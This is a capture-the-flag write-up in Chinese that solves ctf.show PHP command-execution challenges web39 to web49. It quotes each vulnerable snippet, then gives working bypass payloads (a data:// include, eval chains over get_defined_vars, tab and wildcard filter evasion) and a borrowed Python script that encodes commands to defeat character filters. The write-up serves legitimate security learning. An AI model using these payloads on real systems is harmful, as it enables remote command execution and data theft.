web39
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
没有回响,并且加了php的后缀,38的解法还是可以使用
?c=data://text/plain,<?=system("tac fla*.p*p");?>
web40
查看提示
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
通过货币信息(localeconv())取这个点(pos())来到当前目录(scandir())把目录结果进行翻转(array_reverse())取向下一个,然后展示源码(show_source)
换一种方法,获取所有变量print_r(get_defined_vars())
?c=print_r(get_defined_vars());
加POST数组(在POST中应加;1=phpinfo(); )
想办法拿到字符串
利用对数组的操作next()
?c=print_r(next(get_defined_vars()));
获取数组值,对数组进行弹出array_pop()
?c=print_r(array_pop(next(get_defined_vars())));
执行一下eval()
?c=eval(array_pop(next(get_defined_vars())));
运行成功,直接拿flag,POST改为1=system(“tac flag.php”);
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
过滤了数字,小写字母,^,+,~,&,-
这里使用提示中的脚本
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
原文链接:https://blog.csdn.net/miuzzx/article/details/108569080
这里我将程序修改了一下,将url直接改在程序中,否则会狂跳
用system
ls
尝试
能够输出,使用cat flag.php,得到结果
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
把返回结果写到null里,不会有任何保存
2代表错误输出,1代表标准输出,把2绑定到1
采用双写绕过
破坏了html构造,将第二个ls扔进null
采用?c=tac flag;ls获得flag
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
;用&&代替(记得url编码)
?c=tac flag.php&&ls
得到flag
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
web44
把flag过滤掉了,用?或者*替换
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
多过滤了空格,将空格换成水平制表符(%09)
?c=tac%09fla*.php%26%26ls
web46
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
增加数字,$与*
用?绕过flag
其他与上一题一样
web47-49
截止web49,过滤如下内容
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
仍可以用上述方法
?c=tac%09fla?.php%26%26ls